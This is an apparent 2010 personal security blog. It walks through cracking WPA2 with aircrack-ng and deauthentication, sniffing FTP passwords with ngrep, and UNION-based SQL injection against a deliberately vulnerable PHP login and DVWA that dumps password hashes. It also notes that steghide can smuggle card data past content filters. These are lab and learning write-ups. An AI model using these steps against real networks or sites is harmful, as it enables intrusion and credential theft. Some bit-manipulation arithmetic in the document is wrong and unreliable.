Hacking WPA2 Wireless Networks…

June 20, 2010 at 7:17 pm (Security, Wireless)

Hey,

I decided to document how to break into a WPA2 enabled wireless network, so I setup my LinkSys WRT54G wireless router over the weekend, here is how I broke into it:

root@bt:~# airmon-ng stop wlan0
Interface Chipset Driver
wlan0 ZyDAS 1211 zd1211rw - [phy1]
(monitor mode disabled)

Start the wireless card in monitor mode:

root@bt:~# airmon-ng start wlan0
Interface Chipset Driver
wlan0 ZyDAS 1211 zd1211rw - [phy1]
(monitor mode enabled on mon0)

Now we want to run airodump-ng and filter out all the other access points and clients so that we only capture the handshake for our target access point (HackMe):

root@bt:~# airodump-ng --bssid 00:0C:41:9D:C7:5C --channel 6 --write HackMe-Demo mon0

CH 6 ][ Elapsed: 32 s ][ 2010-06-20 19:44 ][ WPA handshake: 00:0C:41:9D:C7:5C

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

00:0C:41:9D:C7:5C 0 100 316 38 0 6 54 WPA2 CCMP PSK HackMe]

BSSID STATION PWR Rate Lost Packets Probes

00:0C:41:9D:C7:5C 00:21:5C:90:2D:89 0 1 - 1 126 456 HackMe

root@bt:~#

Whilst we leave airodump-ng capturing packets and waiting for the WPA Handshake, we can speed things up a little using aireplay-ng. We can force one of the associated clients to de-auth and it will automatically re-authenticate itself with the access point allowing us to capture the WPA Handshake:

root@bt:~# aireplay-ng -0 1 -a 00:0C:41:9D:C7:5C -c 00:21:5C:90:2D:89 mon0
19:44:42 Waiting for beacon frame (BSSID: 00:0C:41:9D:C7:5C) on channel 6
19:44:43 Sending 64 directed DeAuth. STMAC: [00:21:5C:90:2D:89] [126|184 ACKs]
root@bt:~# aireplay-ng -0 1 -a 00:0C:41:9D:C7:5C -c 00:21:5C:90:2D:89 mon0
19:44:48 Waiting for beacon frame (BSSID: 00:0C:41:9D:C7:5C) on channel 6
19:44:48 Sending 64 directed DeAuth. STMAC: [00:21:5C:90:2D:89] [ 0|169 ACKs]
root@bt:~# aireplay-ng -0 1 -a 00:0C:41:9D:C7:5C -c 00:21:5C:90:2D:89 mon0
19:44:50 Waiting for beacon frame (BSSID: 00:0C:41:9D:C7:5C) on channel 6
19:44:51 Sending 64 directed DeAuth. STMAC: [00:21:5C:90:2D:89] [185|179 ACKs]
root@bt:~#

Excellent, as you can see we managed to capture the WPA Handshake, let’s crack it and get the WPA passphrase we can then use to connect to the wireless network:

CH 6 ][ Elapsed: 32 s ][ 2010-06-20 19:44 ][ WPA handshake: 00:0C:41:9D:C7:5C


root@bt:~# aircrack-ng -a 2 -b 00:0C:41:9D:C7:5C -e HackMe -w password.txt HackMe-Demo-01.cap
Opening HackMe-Demo-01.cap
Reading packets, please wait...


Aircrack-ng 1.1 r1729


[00:00:00] 4 keys tested (67.32 k/s)


KEY FOUND! [ password ]


Master Key : 52 EC 07 C0 95 E6 7B 26 DD 40 59 67 10 7C F6 F7
BE EF E6 66 8D 70 A6 1C 56 BE F5 DD A2 B8 5D 32

Transient Key : 41 3E E2 11 47 CA DA EC 39 FA B8 23 79 4C 01 6A
AC B3 C0 45 FE 62 3F BF 4F 0A A9 B0 63 A1 AC 2E
D4 9C C6 09 C1 A9 82 A8 68 1B 71 BC 65 72 BE 97
C6 A8 2F A9 12 DA 08 C6 73 A5 90 DD E9 EF 5F 66

EAPOL HMAC : CA E1 1F 29 45 9A 1D 5D 1B 25 BF 51 92 1A 95 A9
root@bt:~#

Yay! We got the passphrase, which was “password” 🙂

Permalink 3 Comments

Grepping packets with Ngrep…

June 19, 2010 at 7:42 pm (Linux, Network, Sniffing, Unix)

Hey,

I was playing with a neat little tool the other day called, ngrep. Or Network Grep. It basically takes the functionality of the GNU grep utility and puts it to use on network layer packets 🙂 The following is a paragraph from the man page which helps sum it up better:

grep strives to provide most of GNU grep's common features, applying them to the network layer. ngrep is a pcap-aware tool that will allow you to specify extended regular expressions to match against data payloads of packets. It currently recognizes TCP, UDP and ICMP across Ethernet, PPP, SLIP, FDDI and null interfaces, and understands bpf filter logic in the same fashion as more common packet sniffing tools, such as tcpdump(8) and snoop(1).

Let’s take a quick look at one of the uses for ngrep that may seem attractive:

[zoidberg@/dev/null:~ ] $ sudo ngrep -d wlan0 -i 'USER|PASS' tcp port 21
interface: wlan0 (192.168.1.0/255.255.255.0)
filter: (ip or ip6) and ( tcp port 21 )
match: USER|PASS
############
T 192.168.1.68:39404 -> 130.89.149.226:21 [AP]
USER ftp..
##
T 130.89.149.226:21 -> 192.168.1.68:39404 [AP]
331 Please specify the password...
##
T 192.168.1.68:39404 -> 130.89.149.226:21 [AP]
PASS this.is.my@password.com..
############

Pretty neat huh? Another cool option worth looking into is -K (is kill matching TCP connections), however I will leave it up to your imagination to take it further… 🙂 If you find a neat use for this tool then please leave a comment, anyway, until the next time, see ya!

Permalink Leave a Comment

SQLi: Silly PHP Authentication…

June 18, 2010 at 10:37 pm (Programming, Security, SQL, SQL Injection)

Hey,

I wrote a silly little PHP based authentication page. It uses a MySQL database to store the username and password, presents the user with a login prompt where they can enter their login credentials. If they don’t have any then they can take advantage of it using SQL Injection, let’s take a quick look at it. First you will need to create a MySQL database:

mysql> create table userauth (id TINYINT UNSIGNED NOT NULL AUTO_INCREMENT, username VARCHAR(16) NOT NULL, pswd VARCHAR(32) NOT NULL, PRIMARY KEY(id));
Query OK, 0 rows affected (0.00 sec)
mysql> insert into userauth (id, username, pswd) values (1, "zoidberg", "password");
Query OK, 1 row affected (0.00 sec)
mysql> select * from userauth;
+----+----------+----------+
| id | username | pswd |
+----+----------+----------+
| 1 | zoiddberg | password |
+----+----------+----------+
1 row in set (0.00 sec)
mysql>

Now to create the login page:

<?php
function authenticate_user()
{
header('WWW-Authenticate: Basic realm="Private Area"');
header("HTTP/1.0 401 Unauthorized");
exit;
}
if (!isset($_SERVER['PHP_AUTH_USER'])) {
authenticate_user();
} else {
mysql_connect("database_host", "database_username", "database_password") or die("Can't connect to the fucking database, blaaad!");
mysql_select_db("database_name") or die("Can't select da fucking database b0ss!");
$query = "SELECT username, pswd FROM table_name WHERE username='$_SERVER[PHP_AUTH_USER]' AND pswd='$_SERVER[PHP_AUTH_PW]'";
$result = mysql_query($query);
if (mysql_num_rows($result) == 0) {
authenticate_user();
} else {
echo "Welcome to the Private Area... :-)";
}
}
?>

Now to take advantage 🙂 Navigate to the page in your browser, and enter the following in the username field:

' OR '1'='1'--

To understand this let’s take a look at the MySQL query:

$query = "SELECT username, pswd FROM table_name WHERE username='$_SERVER[PHP_AUTH_USER]' AND pswd='$_SERVER[PHP_AUTH_PW]'";

So that is what the query looks like, well when we inject ‘ OR ‘1’=’1′– into the username field, it then looks like this:

$query = "SELECT username, pswd FROM table_name WHERE username='' OR '1'='1'-- AND pswd='$_SERVER[PHP_AUTH_PW]'";

Remember that — is a MySQL comment, so everything after it gets left out of the query that gets sent to the database. So our query which gets passed to the database looks like this:

$query = "SELECT username, pswd FROM table_name WHERE username='' OR '1'='1'--

What happens here is, select username and password from table_name where username is nothing OR true.. this will result in a successful login and give you access to the Private Area 🙂 very simple and contrived example.

Permalink 1 Comment

Using uuencode and uudecode…

June 18, 2010 at 12:25 pm (Encryption, Linux, Unix)

Hey,

I was playing around with uuencode and uudecode today in work. Figured I would put up a quick post that demonstrates how to encrypt a text file using these utilities. It may come in handy one day 😉 So here goes:

[Fri Jun 18 13:21:01]
[zoidberg@/dev/null:~/uuencode ] $ echo "This is a secret sentence" > secret.txt

[Fri Jun 18 13:21:14]
[zoidberg@/dev/null:~/uuencode ] $ uuencode secret.txt final.txt > encoded.txt

[Fri Jun 18 13:21:28]
[zoidberg@/dev/null:~/uuencode ] $ ls -l
total 8
-rw-r--r-- 1 zoidberg zoidberg 64 2010-06-18 13:21 encoded.txt
-rw-r--r-- 1 zoidberg zoidberg 26 2010-06-18 13:21 secret.txt

[Fri Jun 18 13:21:30]
[zoidberg@/dev/null:~/uuencode ] $ rm secret.txt

[Fri Jun 18 13:21:32]
[zoidberg@/dev/null:~/uuencode ] $ ls -l
total 4
-rw-r--r-- 1 zoidberg zoidberg 64 2010-06-18 13:21 encoded.txt

[Fri Jun 18 13:21:33]
[zoidberg@/dev/null:~/uuencode ] $ cat encoded.txt
begin 644 final.txt
:5&AI<R!I<R!A('-E8W)E="!S96YT96YC90H`
`
end

[Fri Jun 18 13:21:35]
[zoidberg@/dev/null:~/uuencode ] $ uudecode encoded.txt

[Fri Jun 18 13:21:55]
[zoidberg@/dev/null:~/uuencode ] $ ls -l
total 8
-rw-r--r-- 1 zoidberg zoidberg 64 2010-06-18 13:21 encoded.txt
-rw-r--r-- 1 zoidberg zoidberg 26 2010-06-18 13:21 final.txt

[Fri Jun 18 13:21:56]
[zoidberg@/dev/null:~/uuencode ] $ cat final.txt
This is a secret sentence

[Fri Jun 18 13:21:59]
[zoidberg@/dev/null:~/uuencode ] $

This is not very secure, but does come in handy, especially when dealing with mail servers all day every day 🙂

Permalink 1 Comment

My Notes on Bit Manipulation…

June 16, 2010 at 12:03 pm (Bit Manipulation, Programming)

Hey,

Recently I have been doing some research into Bit Manipulation, mainly because I don’t really understand it! I wanted to fix this, so the research began… 🙂 What is a “bit”? Well a bit is what a byte is made up of, to be exact 8 bits make a byte. A bit is the most basic unit of computer memory we can deal with, it has two states, “on” or “off”, or “true” or “false” and probably many more but these are the ones I will stick to using. A byte can hold any number from 0 to 255. How can this be possible when 1 byte is made up of 8 bits you ask? Well, there needs to be order in the bits 🙂 It works from left to right like so:

7 6 5 4 3 2 1 0

Which equates to: bit 7, bit 6, bit 5, bit 4 … bit 0. A byte with the value of 0 would look like this:

00000000

And a byte with the value of 255 would look like this:

11111111.

OK, so how do we work out the numbers in between these two points (0 and 255). Well there is a simple formula we can use:

    bit 0 = 20 = 1 
bit 1 = 21 = 2
bit 2 = 22 = 4
bit 3 = 23 = 8
bit 4 = 24 = 16
bit 5 = 25 = 32
bit 6 = 26 = 64
bit 7 = 27 = 128

So looking at the above table, say we have the binary number: 00000010, lets put it into the table and figure out what number this represents in decimal:

    bit 0 = OFF: 0 = 1
bit 1 = ON: 1 = 2
bit 2 = OFF: 0 = 4
bit 3 = OFF: 0 = 8
bit 4 = OFF: 0 = 16
bit 5 = OFF: 0 = 32
bit 6 = OFF: 0 = 64
bit 7 = OFF: 0 = 128

As you can clearly see the value is represented as 2 in decimal. What about a more complicated binary number, such as:

10101010

So let’s place this in the table and figure it out:

    bit 0 = OFF: 0 = 1
bit 1 = ON: 1 = 2
bit 2 = OFF: 0 = 4
bit 3 = ON: 1 = 8
bit 4 = OFF: 0 = 16
bit 5 = ON: 1 = 32
bit 6 = OFF: 0 = 64
bit 7 = ON: 1 = 128
---------------------------------- Total: 170

As you can see, you put the number in the table, and add up all the “ON” bits… it’s as simple as that 🙂 Something to remember here is, I draw the tables starting at bit 1, remember the decimal numbers if you read them left to right start off at bit 7 and go down to bit 0. Since each bit has a unique value (128, 64, 32, 16, 8, 4, 2, 1) we are able to figure out the states of each of the bits, whether they are on or off. Rather than doing this the hard way there is a simple method called, boolean logic. There are a handful of boolean logic operators, such as:

OR (inclusive or), XOR (exclusive or), NOT, AND.

Using the above functions we are able to clear, set and test each of the bits that make up any byte. For instance the NOT function is an operation that performs logical negation which means that it switches the bits, for example:

NOT 0110 (decimal: 6)
=   1001 (decimal: 9)

A bitwise OR takes two bit patterns of equal length and produces another one of the same length by matching up the corresponding bits. It will then perform a logical inclusive OR operation on each pairing of bits. For example:

OR 1010 (decimal: 10)
    0110 (decimal: 6)
----------
=   1110 (decimal: 14)

A bitwise exclusive OR (XOR) also takes two patterns of equal length and performs a logical XOR operation on each pairing of bits. If the two bits are different you will get a 1, if they are the same you will get a 0, like so:

XOR 1101 (decimal: 13)
    0011 (decimal: 3)
-----------
=   1110 (decimal: 14)

The bitwise AND operator takes two binary representations of equal length and performs the bitwise AND operation. If the two bits are the same, e.g. 1 and 1 you get 1 otherwise 0 is the outcome. For example:

AND 1100 (decimal: 12)
    0101 (decimal: 5)
------------
=   0110 (decimal: 6)

That’s is it for me on bit manipulation for now. I will continue posting about the topic as there is plenty more to talk about, so until the next time…

Permalink Leave a Comment

Steghide

June 16, 2010 at 8:12 am (Encryption, Security, Steganography)

Hey,

I have been playing around with a Steganography program called: steghide. It is pretty neat. It allows you to encrypt a piece of data and hide it an image, the formats that it supports are: JPEG, BMP, WAV and AU file formats. It works using Graph Theory approach to Steganography. Here is an explanation of how it works extracted from the man page (please see “man steghide” for more information):

At first, the secret data is compressed and encrypted. Then a sequence of positions of pixels in the cover file is created based on a pseudo-random number generator initialized with the passphrase (the secret data will be embedded in the pixels at these positions). Of these positions those that do not need to be changed (because they already contain the correct value by chance) are sorted out. Then a graph-theoretic matching algorithm finds pairs of positions such that exchanging their values has the effect of embedding the corresponding part of the secret data. If the algorithm cannot find any more such pairs all exchanges are actually performed. The pixels at the remaining positions (the positions that are not part of such a pair) are also modified to contain the embedded data (but this is done by overwriting them, not by exchanging them with other pixels). The fact that (most of) the embedding is done by exchanging pixel values implies that the first-order statistics (i.e. the number of times a color occurs in the picture) is not changed. For audio files the algorithm is the same, except that audio samples are used instead of pixels.

Here is an example of using steghide to hide a text file:


[Wed Jun 16 09:00:30]
[zoidberg@/dev/null:~/steg ] $ echo "Secret data..." > secret.txt

[Wed Jun 16 09:00:33]
[zoidberg@/dev/null:~/steg ] $ ls -l
total 24
-rw-r--r-- 1 zoidberg zoidberg 19604 2010-06-16 08:59 picture.jpg
-rw-r--r-- 1 zoidberg zoidberg 15 2010-06-16 09:00 secret.txt

[Wed Jun 16 09:00:35]
[zoidberg@/dev/null:~/steg ] $ file picture.jpg secret.txt
picture.jpg: JPEG image data, JFIF standard 1.01
secret.txt: ASCII text

[Wed Jun 16 09:00:41]
[zoidberg@/dev/null:~/steg ] $ steghide embed -cf picture.jpg -ef secret.txt
Enter passphrase:
Re-Enter passphrase:
embedding "secret.txt" in "picture.jpg"... done

[Wed Jun 16 09:01:16]
[zoidberg@/dev/null:~/steg ] $ rm secret.txt

[Wed Jun 16 09:01:20]
[zoidberg@/dev/null:~/steg ] $ ls -l
total 16
-rw-r--r-- 1 zoidberg zoidberg 13289 2010-06-16 09:01 picture.jpg

[Wed Jun 16 09:01:21]
[zoidberg@/dev/null:~/steg ] $ file picture.jpg
picture.jpg: JPEG image data, JFIF standard 1.01

[Wed Jun 16 09:01:25]
[zoidberg@/dev/null:~/steg ] $ steghide extract -sf picture.jpg
Enter passphrase:
wrote extracted data to "secret.txt".

[Wed Jun 16 09:01:56]
[zoidberg@/dev/null:~/steg ] $ ls -l
total 20
-rw-r--r-- 1 zoidberg zoidberg 13289 2010-06-16 09:01 picture.jpg
-rw-r--r-- 1 zoidberg zoidberg 15 2010-06-16 09:01 secret.txt

[Wed Jun 16 09:02:00]
[zoidberg@/dev/null:~/steg ] $ cat secret.txt
Secret data...

[Wed Jun 16 09:02:01]
[zoidberg@/dev/null:~/steg ] $


As you can see very simple program to use, really cool technique. I have played around with this and am able to bypass content control filters as well as anti virus systems. For example, a company that uses content control systems (like MessageLabs / Symantec Hosted Services) where you can define rules to govern what type of content can enter and leave an organizations mail server. Using this technique you can for instance hide a text file full of credit card numbers or any other data that content control usually picks up and get it through without being caught. Also you can hide malware/virus within the image and this too will bypass most AV vendors systems, I checked on Virus Total and it bypasses every vendor there. For you to make use of the latter I guess you would need to figure out a way to execute the virus within the image for it to be malicious, however being able to bypass content control is dangerous enough.

Permalink 1 Comment

SQL Injection DVWA Continued…

June 13, 2010 at 7:59 pm (PHP, Programming, Security, SQL, SQL Injection)

Hey,

So continuing on from the low level, let’s take a look at the medium level. Here is the code:

<?php
if (isset($_GET['Submit'])) {
// Retrieve data
$id = $_GET['id'];
$id = mysql_real_escape_string($id);
$getid="SELECT first_name, last_name FROM users WHERE user_id = $id";
$result=mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' );
$num=mysql_numrows($result);
$i=0;
while ($i < $num) {
$first=mysql_result($result,$i,"first_name");
$last=mysql_result($result,$i,"last_name");
echo '<pre>';
echo 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last;
echo '</pre>';
$i++;
}
}
?>

So as you can see it is exactly the same apart from the:

$id = mysql_real_escape_string($id);

The only thing that this prevents us from doing compared to the low level is, using quotes. So we can simply own the level in the same manner just removing the quotes we used, like so:

ID: 1 union all select user,password from dvwa.users--
First name: admin
Surname: admin
ID: 1 union all select user,password from dvwa.users--
First name: admin
Surname: bf03145925aadc81e733e788aaa58fe3
ID: 1 union all select user,password from dvwa.users--
First name: gordonb
Surname: e99a18c428cb38d5f260853678922e03
ID: 1 union all select user,password from dvwa.users--
First name: 1337
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b
ID: 1 union all select user,password from dvwa.users--
First name: pablo
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7
ID: 1 union all select user,password from dvwa.users--
First name: smithy
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

As you can see exactly the same way, the reason that we can’t use quotes is pretty self explanatory from looking at this page.

Let’s talk about the high level then, first let’s take a look at the code:

<?php
if(isset($_GET['Submit'])){
// Retrieve data
$id = $_GET['id'];
$id = stripslashes($id);
$id = mysql_real_escape_string($id);
if (is_numeric($id)){
$getid="SELECT first_name, last_name FROM users WHERE user_id = '$id'";
$result=mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' );
$num=mysql_numrows($result);
$i=0;
while ($i < $num) {
$first=mysql_result($result,$i,"first_name");
$last=mysql_result($result,$i,"last_name");
echo '<pre>';
echo 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last;
echo '</pre>';
$i++;
}
}
}
?>

This has a lot more sanitization and as far as I am aware it is not exploitable. The problem is the following bit of code:

// Retrieve data
$id = $_GET['id'];
$id = stripslashes($id);
$id = mysql_real_escape_string($id);
if (is_numeric($id)){
$getid="SELECT first_name, last_name FROM users WHERE user_id = '$id'";
$result=mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' );

I know I can bypass the mysql_real_escape_string($id) from the medium level. I am just not sure and have not found a way to successfully circumvent the stripslashes() and is_numeric() functions. If anyone has a way to circumvent this please let me know!

Permalink 7 Comments

SQL Injection DVWA

June 11, 2010 at 9:19 pm (PHP, Programming, Security, SQL, SQL Injection)

Hey,

So there are 3 SQL Injection levels on the Damn Vulnerable Web Application (Low, Medium and High). In this post I will explain how to defeat the low level, let’s take a look at the code first:

<?php

if(isset($_GET['Submit'])){

// Retrieve data

// ERROR: PHP Notice: Undefined index: id
$id=$_GET['id'];

$getid="SELECT first_name, last_name FROM users WHERE user_id = '$id'";
$result=mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' );

$num=mysql_numrows($result);

$i=0;

while ($i < $num) {

$first=mysql_result($result,$i,"first_name");
$last=mysql_result($result,$i,"last_name");

echo '<pre>';
echo 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last;
echo '</pre>';

$i++;
}
}
?>

So the above code is vulnerable to SQL Injection, let’s take a closer look at the following snippet:

$id=$_GET['id'];
$getid="SELECT first_name, last_name FROM users WHERE user_id = '$id'";

As you can see there is no sanitization used, the variable is simply inserted straight into the SQL query. This is the most basic type of SQL Injection you may come across. Let’s confirm it is definatley vulnerable to SQL Injection:

UserID: '

The page returned spits out the following error message:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 1

This confirms to us it is vulnerable to SQL Injection, first thing to do is find out how many columns there are:

UserID: ' ORDER BY 1--
UserID: ' ORDER BY 2--

These simply return the same page…

UserID: ' ORDER BY 3--

Then this gives us an invaluable error message:

Unknown column '3' in 'order clause'

What does this tell us? Well it tells us that there are two columns, which are obviously the first_name and last_name columns as when you pass the UserID: form a valid User ID (1) for example you get this:

ID: 1
First name: admin
Surname: admin

Right, now its time to find out the database name, table name, column name and anything else useful and interesting. First thing first let’s find out the database version:

ID: ' union all select 1,@@VERSION--
First name: 1
Surname: 5.1.37-1ubuntu5.1

So it is using MySQL 5.1.37-1 on Ubuntu. Lets find the user the database is running as and the name of the database we are dealing with:

ID: ' union all select user(),database()--
First name: root@localhost
Surname: dvwa

Ok so the user is root (awesome!!) and the database we are concerned with is ‘dvwa’ 😉 Right OK, since the user is root let’s see what we can gleam:

ID: ' union all select user,password from mysql.user--
First name: root
Surname: *263027ECC84AA7B81EA86B0EBECAFE20BC8804FC
ID: ' union all select user,password from mysql.user--
First name: root
Surname: *263027ECC84AA7B81EA86B0EBECAFE20BC8804FC
ID: ' union all select user,password from mysql.user--
First name: root
Surname: *263027ECC84AA7B81EA86B0EBECAFE20BC8804FC
ID: ' union all select user,password from mysql.user--
First name: debian-sys-maint
Surname: *65BFD4D79D51FF884D573209BC7DE1D1A3D0AA4E

Wow! We got the root passord hash 🙂 So as you can see because the application is using the root user, we can pretty much own the whole system from here. However I will focus on the DVWA level 🙂 So, we know the database name is dvwa, and the columns are first_name and last_name. Let’s find out the table name:

ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: CHARACTER_SETS
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: COLLATIONS
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: COLLATION_CHARACTER_SET_APPLICABILITY
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: COLUMNS
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: COLUMN_PRIVILEGES
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: ENGINES
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: EVENTS
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: FILES
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: GLOBAL_STATUS
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: GLOBAL_VARIABLES
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: KEY_COLUMN_USAGE
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: PARTITIONS
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: PLUGINS
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: PROCESSLIST
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: PROFILING
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: REFERENTIAL_CONSTRAINTS
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: ROUTINES
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: SCHEMATA
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: SCHEMA_PRIVILEGES
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: SESSION_STATUS
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: SESSION_VARIABLES
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: STATISTICS
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: TABLES
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: TABLE_CONSTRAINTS
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: TABLE_PRIVILEGES
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: TRIGGERS
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: USER_PRIVILEGES
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: VIEWS
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: guestbook
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: users
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: columns_priv
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: db
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: event
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: func
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: general_log
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: help_category
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: help_keyword
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: help_relation
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: help_topic
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: host
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: ndb_binlog_index
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: plugin
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: proc
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: procs_priv
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: servers
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: slow_log
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: tables_priv
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: time_zone
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: time_zone_leap_second
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: time_zone_name
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: time_zone_transition
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: time_zone_transition_type
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: user
Surname: ޭ��

Bingo, we got all the tables from information_schema.tables :-), so we can hazard a guess that the two tables in the ‘dvwa’ database are; users and guestbook. Before I move on an finish this level, I want to show you some other ways to grab databases, tables and columns:

ID: ' union select group_concat(schema_name),2 from information_schema.schemata--
First name: information_schema,dvwa,mysql
Surname: 2

Or:

ID: ' union all select schema_name,0xdeadbeef from information_schema.schemata--
First name: information_schema
Surname: ޭ��
ID: ' union all select schema_name,0xdeadbeef from information_schema.schemata--
First name: dvwa
Surname: ޭ��
ID: ' union all select schema_name,0xdeadbeef from information_schema.schemata--
First name: mysql
Surname: ޭ��

Also I might as well mention the other way to find the tables too:

ID: ' union all select table_name,0xdeadbeef from information_schema.tables where table_schema=database()--
First name: guestbook
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables where table_schema=database()--
First name: users
Surname: ޭ��

Right so back to it, recap; we know the database name is dvwa and we have two tables users and guestbook. Last crucial bit of information is the column names, lets grab them:

ID: ' union all select column_name,0xdeadbeef from information_schema.columns where table_schema=database()--
First name: comment_id
Surname: ޭ��
ID: ' union all select column_name,0xdeadbeef from information_schema.columns where table_schema=database()--
First name: comment
Surname: ޭ��
ID: ' union all select column_name,0xdeadbeef from information_schema.columns where table_schema=database()--
First name: name
Surname: ޭ��
ID: ' union all select column_name,0xdeadbeef from information_schema.columns where table_schema=database()--
First name: user_id
Surname: ޭ��
ID: ' union all select column_name,0xdeadbeef from information_schema.columns where table_schema=database()--
First name: first_name
Surname: ޭ��
ID: ' union all select column_name,0xdeadbeef from information_schema.columns where table_schema=database()--
First name: last_name
Surname: ޭ��
ID: ' union all select column_name,0xdeadbeef from information_schema.columns where table_schema=database()--
First name: user
Surname: ޭ��
ID: ' union all select column_name,0xdeadbeef from information_schema.columns where table_schema=database()--
First name: password
Surname: ޭ��
ID: ' union all select column_name,0xdeadbeef from information_schema.columns where table_schema=database()--
First name: avatar
Surname: ޭ��

Ok so we have everything we need now, lets get all the usernames and password hashes for this level:

ID: ' union all select user, password from dvwa.users--
First name: admin
Surname: bf03145925aadc81e733e788aaa58fe3
ID: ' union all select user, password from dvwa.users--
First name: gordonb
Surname: e99a18c428cb38d5f260853678922e03
ID: ' union all select user, password from dvwa.users--
First name: 1337
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b
ID: ' union all select user, password from dvwa.users--
First name: pablo
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7
ID: ' union all select user, password from dvwa.users--
First name: smithy
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

Jon done 🙂 Just to put this into perspective, if you goto Milw0rm, Click on the cracker link and you can sumbit your hash to see if its already been cracked, take the user ‘gordonb’ for example:

-::TYPE -::HASH -::PASS -::STATUS
md5 e99a18c428cb38d5f260853678922e03 abc123 cracked

My next post will explain how to beat it on Medium difficulty and then to talk about the High difficulty level. So until the next time…

Permalink 8 Comments

Abusing PHP Upload Scripts For Fun and Profit

June 11, 2010 at 6:47 am (PHP, Programming, Security, Upload)

Hey,

So looking at the upload level on Damn Vulnerable Web Application on low and medium settings, it is probably worth putting them into one post 🙂

Let’s take a look at the code for the upload level on the low setting:

<?php
if (isset($_POST['Upload'])) {

$target_path = DVWA_WEB_PAGE_TO_ROOT."hackable/uploads/";
$target_path = $target_path . basename( $_FILES['uploaded']['name']);

if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)) {

echo '<pre>';
echo 'Your image was not uploaded.';
